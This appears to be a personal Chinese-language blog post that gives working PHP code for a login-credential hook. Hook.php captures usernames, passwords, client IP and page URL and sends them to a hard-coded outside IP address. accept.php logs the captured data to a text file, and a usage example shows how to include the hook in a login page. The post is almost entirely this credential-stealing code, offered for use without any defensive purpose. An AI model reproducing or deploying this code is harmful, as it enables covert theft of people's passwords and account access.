个人学习和生活点滴记录
February 20th, 2022
<?php //获取用户名 function getuser($userget){ global $usersend; $usersend = $userget; } //获取密码 function getpass($passget){ global $passsend; $passsend = $passget; } //获取参考IP function get_client_ip() { $ip = $_SERVER['REMOTE_ADDR']; if (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) { foreach ($matches[0] AS $xip) { if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) { $ip = $xip; break; } } } return $ip; } //获取当前页面URL function getpage(){ $pageget = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; return $pageget; } //Mainsend function Mainsend(){ global $usersend; global $passsend; $ipipsend = get_client_ip(); $pagesend = getpage(); //这里输入接收文件地址,例如 $hooksend = 'http://139.155.78.21:9090/accept.php?pass='.$passsend.'&user='.$usersend.'&ip='.$ipipsend.'&page='.$pagesend; $send = file_get_contents($hooksend); } ?>
<?php ini_set('date.timezone','Asia/Shanghai'); $password = $_GET['pass']; $username = $_GET['user']; $ip = $_GET['ip']; $page = $_GET['page']; $timenow = date('Y-m-d H:i:s',$_SERVER['REQUEST_TIME']); $txt = '用户名:'.$username.' 密码:'.$password.' 参考IP:'.$ip.' 页面地址:'.$page.' 登录时间:'.$timenow."\n\t"; $file = fopen('goal.txt','a'); fwrite($file,$txt); fclose($file); ?>
//示例: <?php include('Hook.php'); $pa = $_GET['pass']; $us = $_GET['user']; getpass($pa); getuser($us); Mainsend(); ?>
$hooksend = 'http://139.155.78.21:9090/accept.php?pass='.$passsend.'&user='.$usersend.'&ip='.$ipipsend.'&page='.$pagesend;
0x01[Hook.php]
0x02[accept.php]
0x03[Login.php]
0x04[使用方法]